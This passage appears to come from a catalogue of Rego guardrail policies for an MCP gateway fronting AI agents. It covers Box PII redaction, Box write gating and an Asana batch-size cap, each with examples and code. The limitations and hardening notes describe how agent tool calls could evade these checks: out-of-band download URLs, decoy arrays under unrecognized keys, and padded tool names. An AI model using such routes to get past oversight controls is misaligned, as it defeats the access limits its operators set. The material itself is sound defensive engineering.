holds, so redaction still fires on a gateway build that populates only one of the two (keying on `mode` alone would fail open if it were unset). Tools are matched case-insensitively **by suffix**, so it works regardless of the MCP server name prefix the gateway adds (`box-mcp-…`, `box-prod-…`, etc.). The tool name is read from all three egress surfaces — `input.resource.name`, `input.tool_metadata.name`, and `input.payload.name` — and a suffix hit on **any** of them puts the call in scope, so a gateway that populates a different surface can't slip content past the scanner. Official Box remote server (mcp.box.com — names verified against Box's docs): `get_file_content`, `get_file_preview`, `ai_qa_single_file`, `ai_qa_multi_file`, `ai_qa_hub`, `ai_extract_freeform`, `ai_extract_structured`, `ai_extract_structured_from_fields`, `ai_extract_structured_from_fields_enhanced`, `ai_extract_structured_from_metadata_template`, `ai_extract_structured_from_metadata_template_enhanced`, `search_files_keyword`, `search_files_metadata` (search responses leak matched snippets when the search scope includes file content). Community server (box-community/mcp-server-box — names verified from repo docs): `box_file_text_extract_tool`, `box_search_tool`. Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production, and add suffixes for any other content-returning tools your deployment exposes. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each string block. Non-string blocks pass through unmodified. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). ## Examples ### Redacted (content tool, non-exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "box-mcp-get_file_content", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["marketing"] } }, "payload": { "name": "box-mcp-get_file_content", "text": ["Employee SSN: 123-45-6789, card 4111 1111 1111 1111"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["Employee SSN: [REDACTED-SSN], card [REDACTED-CC]"]`. ### Passed through (exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "box-mcp-get_file_content", "type": "tool" }, "subject": { "sub": "auth0|u2", "claims": { "groups": ["hr"] } }, "payload": { "name": "box-mcp-get_file_content", "text": ["Employee SSN: 123-45-6789"] } } } ``` `allow = true`, no `transform` — the `hr` group receives raw content. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny policies on the same egress pipeline. Recommended companions in `apps/box`: - **fence-sensitive-folders** (ingress) — keeps agents out of sensitive folder trees entirely, and covers the `get_download_url` bypass below. - An external-sharing guard on `create_collaboration` / `*shared_link*` (ingress) so redacted-on-read content isn't simply shared out instead. ## Known limitations - **Pattern-based detection is best-effort.** Obfuscated, split-across-lines, spelled-out, base64-encoded, or image-embedded values are not caught; a Luhn-valid 16-digit number that is not a card can be over-redacted. Treat this as a high-signal minimum-necessary layer, not a complete DLP solution. - **`get_download_url` bypass.** That tool returns a URL rather than content, so files fetched out-of-band are never seen by egress scanning. This policy deliberately does not match it — pair with `fence-sensitive-folders` to keep sensitive trees off the read path altogether. - **Pair heuristics are conservative by design.** A lone email address, a lone phone number, a routing number without an account number (and vice versa) are *not* redacted — this keeps corporate contact info and order numbers usable. Bank labels are matched in plain text (`Routing number: 021000021`), not as JSON keys (`"routing_number": "…"` won't match). - **SSN matching is hyphenated-form only.** Bare 9-digit runs collide with Box file IDs and are left alone. - **Group names are placeholders — replace `hr` and `finance` with your IdP's group names at import time.** The exemption is granted **only** for a `groups` claim shaped as an array of strings (a single bare string is also handled). Any other shape fails closed → redaction applies: a missing subject/claims/`groups`, an object/map (e.g. a namespaced or metadata claim like `{"department": "finance"}` — the `is_array` guard stops its *values* from being read as group names), and nested/non-string array elements are all treated as *not exempt*. If your IdP emits roles under a namespaced claim, adjust `caller_groups` to point at the array before matching. - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms run on the same pipeline. - **Community-server AI tools not matched.** The box-community server's AI module tool names are not individually verified in the landscape research, so they are not in the suffix list — add them if your deployment exposes them. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package box.egress.redact_pii # Transform-only egress policy: rewrites PII in Box content-returning tool # responses to fixed redaction tokens before the response reaches the agent. # Never denies. Callers in an exempt IdP group receive unredacted responses. default allow := true # ----------------------------------------------------------------------------- # Scope: Box tools whose responses carry file-derived content. Suffix matching # keeps the policy portable across gateway server-name prefixes and covers both # the official remote server (bare verb_noun names) and the community server # (box_*_tool names). Verified against the Box landscape research. # ----------------------------------------------------------------------------- content_tool_suffixes := { # Official remote server (mcp.box.com) "get_file_content", "get_file_preview", "ai_qa_single_file", "ai_qa_multi_file", "ai_qa_hub", "ai_extract_freeform", "ai_extract_structured", "ai_extract_structured_from_fields", "ai_extract_structured_from_fields_enhanced", "ai_extract_structured_from_metadata_template", "ai_extract_structured_from_metadata_template_enhanced", "search_files_keyword", "search_files_metadata", # Community server (box-community/mcp-server-box) "box_file_text_extract_tool", "box_search_tool", } # Egress scope: match the post-invoke/output path on either mode or action. If # we keyed on input.mode alone and a gateway build left it unset, is_content_tool # would silently fail and redaction would no-op (fail open, leaking content). # Ingress (tool_pre_invoke / mode "input") satisfies neither branch, so it stays # out of scope. is_egress if { input.mode == "output" } is_egress if { input.action == "tool_post_invoke" } # The tool name is exposed on egress under resource.name (PARC), tool_metadata.name # (legacy), and payload.name (tool-hook canonical). Collect all three and match if # ANY carries a content-tool suffix — matching only a subset would let a gateway # that populates a different surface slip file content past the scanner. candidate_names contains lower(object.get(input.resource, "name", "")) candidate_names contains lower(object.get(object.get(input, "tool_metadata", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "payload", {}), "name", "")) is_content_tool if { is_egress some suffix in content_tool_suffixes some n in candidate_names endswith(n, suffix) } # ----------------------------------------------------------------------------- # Group exemption — placeholder IdP groups whose members receive unredacted # responses. Replace "hr" / "finance" with your IdP's group names at import # time. object.get chains mean a missing subject/claims/groups claim is never # exempt: the grant fails closed and redaction applies. # ----------------------------------------------------------------------------- exempt_groups := {"hr", "finance"} caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) is_exempt if { # Only an array of group strings grants the exemption. The is_array guard is # load-bearing: `some g in caller_groups` over an OBJECT iterates its values, # so a namespaced/metadata claim like {"department": "finance"} would else # wrongly exempt the caller. is_string(g) keeps nested/non-string elements # from matching. Anything but a clean array of strings fails closed → redact. is_array(caller_groups) some g in caller_groups is_string(g) lower(g) in exempt_groups } is_exempt if { # Some IdPs emit a single group as a bare string rather than an array. is_string(caller_groups) lower(caller_groups) in exempt_groups } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives. # ----------------------------------------------------------------------------- # US SSN in the canonical hyphenated form only. Bare 9-digit runs are too # collision-prone with Box file/folder IDs to redact safely. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # 16-digit card-shaped runs in 4x4 groups with optional space/hyphen # separators. Candidates are only redacted after passing a Luhn check below — # a matching shape alone is not enough. card_pattern := `\b\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}\b` # Labeled US bank routing number (exactly 9 digits) and account number (6-17 # digits). Label-anchored so arbitrary digit runs are never touched; both must # appear in the same content block before either is redacted (bank_pair). routing_pattern := `(?i)\b(?:aba|routing)(?:\s+(?:no|num|number)\.?)?\s*[:#]?\s*\d{9}\b` account_pattern := `(?i)\b(?:account|acct)(?:\s+(?:no|num|number)\.?)?\s*[:#]?\s*\d{6,17}\b` # Email address and separator-formatted US phone number. Redacted only when # both appear in the same content block (a contact-record signature) so lone # corporate email addresses stay usable (contact_pair). email_pattern := `\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b` phone_pattern := `(?:\+?1[-. ])?(?:\(\d{3}\)|\b\d{3})[-. ]\d{3}[-. ]\d{4}\b` # ----------------------------------------------------------------------------- # Luhn check — validates card-shaped candidates so invoice/reference numbers # that merely look like PANs are left alone. # ----------------------------------------------------------------------------- digits_only(s) := regex.replace(s, `[^0-9]`, "") luhn_contribution(d, parity) := d if { parity == 0 } luhn_contribution(d, parity) := 2 * d if { parity == 1 (2 * d) < 10 } luhn_contribution(d, parity) := (2 * d) - 9 if { parity == 1 (2 * d) >= 10 } luhn_valid(digits) if { chars := split(digits, "") n := count(chars) total := sum([v | some i, c in chars v := luhn_contribution(to_number(c), (n - 1 - i) % 2) ]) total % 10 == 0 } # All card-shaped substrings of t that pass the Luhn check. card_candidates(t) := {c | some c in regex.find_n(card_pattern, t, -1) luhn_valid(digits_only(c)) } # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class doesn't apply, so the steps chain safely. # ----------------------------------------------------------------------------- redact_ssn(t) := regex.replace(t, ssn_pattern, "[REDACTED-SSN]") bank_pair(t) if { regex.match(routing_pattern, t) regex.match(account_pattern, t) } redact_bank(t) := out if { bank_pair(t) routed := regex.replace(t, routing_pattern, "[REDACTED-BANK-ROUTING]") out := regex.replace(routed, account_pattern, "[REDACTED-BANK-ACCOUNT]") } redact_bank(t) := t if { not bank_pair(t) } redact_cards(t) := out if { cands := card_candidates(t) count(cands) > 0 # Candidates contain only digits, spaces, and hyphens, so joining them into # an alternation of literals is regex-safe. literal := concat("|", sort([c | some c in cands])) out := regex.replace(t, literal, "[REDACTED-CC]") } redact_cards(t) := t if { count(card_candidates(t)) == 0 } contact_pair(t) if { regex.match(email_pattern, t) regex.match(phone_pattern, t) } redact_contact(t) := out if { contact_pair(t) emailed := regex.replace(t, email_pattern, "[REDACTED-EMAIL]") out := regex.replace(emailed, phone_pattern, "[REDACTED-PHONE]") } redact_contact(t) := t if { not contact_pair(t) } # Order matters: SSNs first (so they can't be half-eaten by later patterns), # then labeled bank pairs (so a labeled 16-digit account number is classified # as a bank account, not a card), then Luhn-checked cards, then contact pairs. redact_block(b) := redact_contact(redact_cards(redact_bank(redact_ssn(b)))) if { is_string(b) } # Non-string content blocks (structured/JSON blocks) pass through unmodified. redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, the caller is not exempt, and at # least one block actually changed. Otherwise the rule is undefined and the # aggregator skips this policy, returning the response byte-identical. # ----------------------------------------------------------------------------- text_blocks := object.get(input.payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(input.payload, {"text": redacted_blocks}), } if { is_content_tool not is_exempt is_array(text_blocks) redacted_blocks != text_blocks } ``` ### Box: Role-Gated Writes (Read-Only Default) URL: https://www.intentbasedpolicy.com/policies/box/role-gate-writes App(s): box | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: box.ingress.role_gate_writes | Published: 2026-07-12 | Tags: box, role-gate-writes, access-control, least-privilege, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/box/role-gate-writes/policy.md # box / role-gate-writes **Direction:** ingress (`tool_pre_invoke`) **Default:** deny writes unless the caller is in the writer group; allow reads for everyone **Package:** `box.ingress.role_gate_writes` ## What it does Makes Box read-only by default on the MCP path. Every mutating Box tool — uploads, folder creation, copies, moves, renames, metadata and property updates, comments, hub and docgen writes, collaboration grants, shared links, locks, retention dates, and deletes — is denied unless the caller's IdP `groups` claim contains the placeholder group `box-writers`. Read and search tools (`who_am_i`, `get_file_content`, `get_file_details`, `list_*`, `search_*`, `ai_qa_*`, `ai_extract_*`, community `box_file_info_tool`, `box_search_tool`, and the other read-only tools of both server dialects) pass for everyone. Unknown tools whose names *look* mutating (any `create`/`update`/`set`/`add`/`upload`/`move`/ `copy`/`delete`/`remove`/`rename`/`lock`/`unlock`/`clear` verb segment) are also gated, so new upstream write tools fail closed instead of slipping through until someone classifies them. The check runs at ingress, before the call reaches the Box MCP server, so a denied write never executes and has no side effects. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets: Box content cannot be mutated over the agent channel without an explicit role grant. **CC6.3** — supports role-based access and least privilege: write capability is tied to a live IdP group, and removing the group in the IdP removes write access on the next call. - **HIPAA §164.308(a)(4)** — supports information access management for Box tenants holding ePHI: write authorization is role-scoped. **§164.312(a)(1)** — supports technical access control with per-call identity from the caller's JWT. - **GDPR Art. 25** — supports data protection by design/default on the agent channel: the default posture is read-only. **Art. 29** — supports processing only on the controller's instructions: unauthorized principals cannot alter personal data in Box through the agent. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `box-remote-upload_file`), and the prefix is not standardized — so all matching is case-insensitive and by suffix or name segment, covering both Box MCP dialects: 1. **Official remote server (mcp.box.com), verified suffixes:** `upload_file`, `upload_file_version`, `get_upload_url`, `create_folder`, `copy_file`, `copy_folder`, `move_file`, `move_folder`, `update_file_properties`, `update_folder_properties`, `set_file_metadata`, `set_folder_metadata`, `create_metadata_template`, `update_metadata_template`, `create_file_comment`, `create_hub`, `copy_hub`, `update_hub`, `add_items_to_hub`, `create_docgen_template`, `create_docgen_batch`, plus the sharing tools `create_collaboration`, `update_collaboration`, `add_file_shared_link`, `add_folder_shared_link`. 2. **Community server (box-community/mcp-server-box), verified suffixes:** `box_file_upload_tool`, `box_file_copy_tool`, `box_file_move_tool`, `box_file_rename_tool`, `box_file_delete_tool`, `box_file_lock_tool`, `box_file_unlock_tool`, `box_file_retention_date_set_tool`, `box_file_retention_date_clear_tool`, `box_file_set_download_open_tool`, `box_folder_create_tool`, `box_folder_move_tool`, `box_folder_delete_tool`, `box_folder_set_collaboration_tool`, `box_folder_set_upload_email_tool`. 3. **Community collaboration stem:** any tool name containing `box_collaboration_` is treated as a write — the collaboration-create variants (`box_collaboration_file_user_by_user_login_tool` and its by-id/group/folder siblings) carry no mutating verb in their names, so the whole stem is gated. The official read `list_item_collaborations` does not contain this stem and stays allowed. 4. **Mutating-verb net:** any remaining tool whose hyphen/underscore-separated name segments include a mutation verb (`create`, `update`, `set`, `add`, `upload`, `move`, `copy`, `delete`, `remove`, `rename`, `lock`, `unlock`, `clear`) is gated. This is what catches the community shared-link writes (`box_shared_link_*_create_or_update_tool`, `box_shared_link_*_remove_tool`) while their `_get_`/`_find_by_shared_link_url_` read variants pass, and what keeps future upstream write tools fail-closed. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production; if your Box server exposes a write tool whose name carries none of the verbs above, add it to the suffix lists in `policy.md`. ## Argument shape The decision uses only the tool name (`input.resource.name`) and the caller's identity (`input.subject.claims.groups`). Tool arguments are not inspected, so the policy cannot be bypassed by unusual argument keys, nesting, or encodings — and it works identically whether or not a tool's argument schema is documented. ## Identity Group membership is read fail-closed via `object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", [])`: a missing subject, missing claims, a missing `groups` claim, or a `groups` claim that is not an array all mean "not a writer", and every write is denied. Reads are unaffected by identity. ## Examples ### Allowed — read tool, no identity required ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "box-remote-get_file_content", "type": "tool" }, "payload": { "name": "box-remote-get_file_content", "args": { "file_id": "12345" } } } } ``` `allow = true`, no reason. ### Denied — write tool, caller not in the writer group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "box-remote-upload_file", "type": "tool" }, "subject": { "sub": "auth0|alice", "claims": { "groups": ["engineering"] } }, "payload": { "name": "box-remote-upload_file", "args": { "parent_folder_id": "0", "name": "report.pdf" } } } } ``` `allow = false`, `reason = "Box write tools are restricted to members of the 'box-writers' group ..."`. ## Composition This policy is the Box least-privilege baseline; it gates *who* may write, not *what* they may write. Useful companions: - An external-sharing guard that inspects `create_collaboration` / `add_*_shared_link` arguments (collaborator domain, `access: open`) so that even authorized writers cannot share content outside the organization. - A destructive-op gate that keeps the community server's `box_file_delete_tool` / `box_folder_delete_tool` (especially `recursive: true`) behind a stricter admin group than ordinary writes. - An egress PII/PHI redaction policy on `get_file_content`, `ai_qa_*`, `ai_extract_*`, and search responses, since this policy leaves the read path open. ## Known limitations - **Group names are placeholders** — replace `box-writers` with your IdP's group name at import time. The policy expects `groups` to be an array claim in the caller's JWT; if your IdP emits roles under a different or namespaced claim (e.g. `https://acme.com/groups`), update `caller_groups` in `policy.md`. - **Reads are open to everyone**, including Box AI tools (`ai_qa_*`, `ai_extract_*`) that send file content through Box AI, and content egress tools like `get_file_content`. Pair with a read fence and/or egress redaction if your Box tenant holds regulated content. - **Verb-net over-matching on shared pipelines.** The mutating-verb net inspects every tool name on the pipeline, so non-Box tools with mutating-looking names (including management tools such as `dtwo-create-policy`) are gated too when this policy is attached to a pipeline that fronts more than the Box server. Attach it to a Box-scoped pipeline, or add an explicit passthrough `allow if` rule for your management prefix. - **Verb-net under-matching.** A write tool whose name carries none of the listed verbs and is not on a verified list slips through as a "read". Known candidates: the community server's tag tools, whose exact names the landscape research could not verify — verify with a live `tools/list` and add them to the suffix lists if present in your deployment. - **Unverified community names.** The folder variants of the community collaboration-create tools are gated via the `box_collaboration_` stem because their exact names are unverified; the community tag-tool names are likewise unverified (see above). - **A server named with a mutating verb** (e.g. an MCP server configured as `box-uploads`) would make every one of its tools match the verb net and require the writer group — a fail-closed false positive; rename the server or add a passthrough. > **Compliance note.** This policy supports alignment with the cited framework controls **on > the MCP path only**. No policy or bundle makes an organization compliant with any framework; > web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate > against your own compliance program before relying on it. ```rego package box.ingress.role_gate_writes # Deny-by-default: reads are explicitly allowed below; every write requires # membership in the writer group. default allow := false # Placeholder IdP group permitted to perform Box writes. # Replace "box-writers" with your IdP's group name at import time. writer_group := "box-writers" # Lowercased tool name. The gateway prefixes tool names with the configured # MCP server name (e.g. `box-remote-upload_file`), so matching below is # case-insensitive and suffix/segment based to stay portable. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # Raw (un-lowercased) name, kept so camelCase tool names can be split on their # case boundaries by the mutating-verb net below. raw_tool_name := object.get(object.get(input, "resource", {}), "name", "") # Separator-normalized name: every run of non-alphanumerics collapses to a # single `_`, so stem matching fires whether a server uses `_` or `-`. normalized_tool_name := lower(regex.replace(raw_tool_name, `[^A-Za-z0-9]+`, "_")) # --- Identity (fail closed) --- # Missing subject, missing claims, a missing groups claim, or a groups claim # that is not an array all yield "not a writer" — writes then deny. caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # `is_array` guard is load-bearing: `some group in caller_groups` iterates the # *values* of an object, so a groups claim shaped as `{"x": "box-writers"}` # would otherwise match and fail OPEN. Requiring an array keeps every non-array # shape (object, string, number) fail-closed, as the Identity section promises. caller_is_writer if { is_array(caller_groups) some group in caller_groups group == writer_group } # --- Write-tool detection --- # Verified write tools on the official remote server (mcp.box.com), matched by # suffix so any gateway server-name prefix still matches. official_write_suffixes := [ "upload_file", "upload_file_version", "get_upload_url", "create_folder", "copy_file", "copy_folder", "move_file", "move_folder", "update_file_properties", "update_folder_properties", "set_file_metadata", "set_folder_metadata", "create_metadata_template", "update_metadata_template", "create_file_comment", "create_hub", "copy_hub", "update_hub", "add_items_to_hub", "create_docgen_template", "create_docgen_batch", "create_collaboration", "update_collaboration", "add_file_shared_link", "add_folder_shared_link", ] # Verified write tools on the community server (box-community/mcp-server-box). community_write_suffixes := [ "box_file_upload_tool", "box_file_copy_tool", "box_file_move_tool", "box_file_rename_tool", "box_file_delete_tool", "box_file_lock_tool", "box_file_unlock_tool", "box_file_retention_date_set_tool", "box_file_retention_date_clear_tool", "box_file_set_download_open_tool", "box_folder_create_tool", "box_folder_move_tool", "box_folder_delete_tool", "box_folder_set_collaboration_tool", "box_folder_set_upload_email_tool", ] is_write_tool if { some suffix in official_write_suffixes endswith(tool_name, suffix) } is_write_tool if { some suffix in community_write_suffixes endswith(tool_name, suffix) } # Community collaboration tools (grant/update/delete collaborations) share the # `box_collaboration_` stem, and the create variants carry no mutating verb in # their names, so the whole stem is gated. The official read # `list_item_collaborations` does not contain this stem and stays allowed. is_write_tool if { contains(normalized_tool_name, "box_collaboration_") } # Fail-closed net for unknown mutating-looking tools: if any name segment is a # mutation verb, treat the tool as a write so new upstream write tools are # gated before anyone classifies them. Also catches the community shared-link # create/update/remove tools, while their get/find read variants pass. mutating_verbs := { "create", "update", "set", "add", "upload", "move", "copy", "delete", "remove", "rename", "lock", "unlock", "clear", } # Split the tool name into segments. First insert a boundary at every # lowercase/digit -> uppercase transition so camelCase names (`uploadFile`) # split into verb segments (`upload`, `file`); snake_case and ALL-CAPS names # are unaffected. Then lowercase and split on any run of non-alphanumeric # characters (covers both the gateway's `-` prefixing and Box's `_` naming). name_segments := {segment | some segment in regex.split(`[^a-z0-9]+`, lower(regex.replace(raw_tool_name, `([a-z0-9])([A-Z])`, `$1 $2`))) segment != "" } is_write_tool if { some segment in name_segments mutating_verbs[segment] } # --- Decision --- # Reads (and anything that is not a verified or mutating-looking write) pass # for everyone. allow if { not is_write_tool } # Writes pass only for members of the writer group. allow if { is_write_tool caller_is_writer } reasons contains msg if { is_write_tool not caller_is_writer msg := sprintf("Box write tools are restricted to members of the '%s' group — this account has read-only Box access through the gateway. Ask your identity admin to add you to '%s', or hand this step to a teammate with Box write access. If this tool is actually read-only, contact your InfoSec team to update the policy.", [writer_group, writer_group]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Cap Asana Batch Task Mutations URL: https://www.intentbasedpolicy.com/policies/asana/cap-batch-mutation App(s): asana | Direction: ingress | Bundles: soc2 | Package: asana.ingress.cap_batch_mutation | Published: 2026-07-12 | Tags: asana, cap-bulk-export, batch-mutation, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/asana/cap-batch-mutation/policy.md # asana / cap-batch-mutation **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `asana.ingress.cap_batch_mutation` ## What it does Caps the blast radius of Asana's official V2 batch write tools. At ingress it: 1. **Denies** any `create_tasks` or `update_tasks` call whose task array holds more than a configurable ceiling (default **10**) of task objects, and 2. **Separately denies** any `update_tasks` batch that sets `completed: true` on more than the ceiling number of elements (mass-completion guard). Everything else — reads, single-record community tools, and batch calls within the ceiling — passes through unchanged. Asana's official V2 batch tools (`create_tasks`, `update_tasks`) accept **up to 50 task objects per call**. A single injected prompt can therefore create, mutate, or mass-complete an entire project's worth of tasks in one invocation. Clamping the array size blunts that blast radius while leaving normal small batches working. The rule counts **array elements** and **`completed: true` flags** rather than assuming one record per call. ## Why ingress and not egress Batch task creation/mutation is a write with permanent side effects — once the call reaches Asana the tasks exist, assignees and followers have been notified, and completions have fired downstream automations. Egress can only mask the response, not undo the writes. Ingress denial is the only point at which the mass-mutation is actually prevented. ## Compliance alignment - **SOC 2 CC6.7 / PI1.5** — supports restricting the movement/removal of information and the integrity of stored records by capping how many task records a single agent call can create, mutate, or mass-complete, blunting the blast radius of a runaway or injected batch write on the agent channel. - **GDPR Art. 5(1)(d)** (accuracy) — supports the anti-mass-corruption posture by capping how many task records a single agent call can create or mutate, limiting the damage of a runaway or injected batch write. - **GDPR Art. 5(1)(c)** (data minimisation) — supports proportionate processing by bounding bulk write volume on the agent channel. - **CCPA/CPRA 11 CCR §7002** (proportionality) — supports processing that is reasonably necessary and proportionate by rejecting oversized bulk mutations. (Per the coverage matrix, these GDPR/CCPA rows map to policy family **PF-08**; this is the write-side blast-radius variant of `cap-bulk-export`.) ## Tool name matching Matching is **suffix-based** and case-insensitive, for portability across gateway server-name prefixes: - `*create_tasks` — official V2 batch create - `*update_tasks` — official V2 batch update The tool name is read from **both** the PARC field (`input.resource.name`) and the legacy alias (`input.payload.name`) via `object.get` chains, and the two are matched independently — a request that omits the `resource` block, or carries a non-string value in one field, still cannot skip the match (fail-closed hardening: a missing/non-string name resolves to `""` rather than leaving the suffix check undefined). Leading/trailing whitespace is stripped with `trim_space` before matching, so padding the verb with a trailing space, tab, or newline (`...create_tasks\n`) does not evade the suffix check. The community singular tools `asana_create_task` / `asana_update_task` end in `create_task` / `update_task` (no trailing `s`), so they are **not** matched — they mutate one record per call and are out of scope. Comment tools, previews, and reads are also unaffected. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `asana-mcp-create_tasks`), and that prefix is not standardized. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape Each batch tool takes an **array of up to 50 task objects**. Asana does **not** publish the V2 per-parameter JSON schema on its docs page — per-parameter schemas are only visible via a live `tools/list` against a connected server — so the exact argument **key** that holds the array is **UNVERIFIED**. The policy therefore checks a small ordered list of candidate keys (`batch_keys` = `["tasks", "data", "items"]`) and uses `object.get` defensively: - If a candidate key holds an array, its length (and, for `update_tasks`, its count of `completed: true` elements) is checked against the ceiling. - If **no** candidate key holds an array on a batch call, the size cannot be verified and the call is **denied (fail closed)** rather than allowed through under a renamed key. Confirm the real key for your deployment and put it first in `batch_keys`. - If a candidate key holds an array **and** another top-level argument holds an array under an **unrecognized** key, the call is also **denied**. This closes a decoy-smuggling bypass: without it, a one-element array under `tasks` would satisfy the recognized-array check while the real oversized batch rode along under an unrecognized key (`oversize` only inspects the recognized arrays). Elements that are not objects are skipped by the `completed: true` count. ## Examples ### Allowed — batch within the ceiling ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "asana-mcp-create_tasks", "type": "tool" }, "payload": { "name": "asana-mcp-create_tasks", "args": { "tasks": [ { "name": "a" }, { "name": "b" } ] } } } } ``` `allow = true`, no reason. ### Allowed — community singular tool (out of scope) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "asana-mcp-asana_create_task", "type": "tool" }, "payload": { "name": "asana-mcp-asana_create_task", "args": { "name": "one task" } } } } ``` `allow = true` — singular tools mutate one record and are never matched. ### Denied — oversized batch ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "asana-mcp-create_tasks", "type": "tool" }, "payload": { "name": "asana-mcp-create_tasks", "args": { "tasks": [ /* 11 task objects */ ] } } } } ``` `allow = false`, reason: "This Asana batch call requests 11 task objects, above the 10-task ceiling. …" ### Denied — mass completion An `update_tasks` batch that marks more than 10 tasks `completed: true` is denied with both the oversize reason and the bulk-completion reason (a batch with >10 completed elements necessarily has >10 elements). ### Denied — unrecognized array key (fail closed) A batch call whose array sits under a key not in `batch_keys` is denied because its size cannot be verified. ### Denied — decoy array smuggling A batch call that puts a tiny array under a recognized key (e.g. `tasks: [one]`) while carrying the real oversized batch under an unrecognized key (e.g. `custom: [50 objects]`) is denied: the presence of any array under an unrecognized key, alongside a recognized one, fails closed. ## Composition This policy is single-purpose. Useful companions on Asana: - A **protected-project write fence** (deny writes to HR/Legal/M&A project GIDs). - A **destructive-op freeze** (deny `*delete_task` and community delete tools). - An **egress PII redaction** policy on `get_task` / `search_tasks` responses. ## Known limitations - **Unverified argument key.** The batch array key is not published by Asana; `batch_keys` is a best-effort candidate list (`tasks`, `data`, `items`). Confirm the real key via a live `tools/list` and put it first. Until then, legitimate batch calls whose array sits under a different key are denied by the fail-closed rule — a deliberate trade-off favouring safety over silent bypass. - **Single ceiling.** Because the same ceiling bounds both total elements and `completed: true` elements, any batch that trips the completion guard also trips the size guard; the completion reason adds specificity for the mass-completion case. Raise `ceiling` (or split the two limits) if your workspace needs a different balance. - **Tool-inventory drift.** Asana's V2 tool set evolves; if a new batch tool ships with a different suffix, add it to the matching rules. - **Decoy guard is a superset deny.** The decoy-smuggling guard denies any batch call that carries a top-level array under an unrecognized key while a recognized key also holds an array. If a legitimate batch tool genuinely takes a second top-level array argument (not the task array — e.g. a top-level `options`/ `followers` list), this rule would deny it as a false positive. Add that key to `batch_keys` (or split it out) once you confirm the real schema via `tools/list`. Arrays nested *inside* task objects (e.g. per-task `followers`) are not affected — only top-level `args` keys are scanned. - **Value-typed completion flag.** The mass-completion count matches only a JSON boolean `completed: true`; a non-boolean truthy value (e.g. the string `"true"`) is not counted by the completion-specific guard. This is not a bypass of the size cap: completing more than `ceiling` tasks still requires more than `ceiling` array elements, which the oversize guard denies regardless of the `completed` value type. - **No identity-based exemptions.** All callers are subject to the same ceiling. Add an `allow if` branch keyed on `input.subject.claims` (e.g. a placeholder `"asana-admins"` group — replace with your IdP's group name at import time) if you need a break-glass path for large legitimate batches. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package asana.ingress.cap_batch_mutation # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Maximum task objects permitted in a single official batch call, and the # maximum number of tasks a single update_tasks call may mark completed. # Tune this for your workspace; Asana's V2 batch tools accept up to 50. ceiling := 10 # Candidate argument keys that may hold the batch task array. Asana does NOT # publish the V2 per-parameter schema on its docs page (schemas are only visible # via a live `tools/list`), so the exact key is UNVERIFIED. Checked in order; # confirm the real key for your deployment and put it first. If none of these # keys holds an array on a batch call, the size cannot be verified and the call # is denied (fail closed) rather than allowed through under a renamed key. batch_keys := ["tasks", "data", "items"] # --- Tool matching (suffix-based, case-insensitive, for portability) --- # The gateway prefixes tool names with the configured MCP server name, so we # match on the suffix. Official V2 batch tools are `create_tasks` / # `update_tasks` (plural). The community singular tools `asana_create_task` / # `asana_update_task` end in `create_task` / `update_task` (no trailing "s") and # are NOT matched — they mutate one record per call and are out of scope. # # The name is read via object.get chains from BOTH the PARC field # (input.resource.name) and the legacy alias (input.payload.name), coerced to a # lowercased, whitespace-trimmed string. A missing OR non-string value resolves # to "" rather than leaving the rule undefined (an undefined name would make the # endswith checks undefined and skip matching — a fail-OPEN bypass). trim_space # strips leading/trailing whitespace so a padded verb (`...create_tasks\n`) # cannot slip past the suffix check. The two fields are matched independently so # a malformed value in one cannot suppress a real batch suffix in the other. name_of(key) := trim_space(lower(v)) if { v := 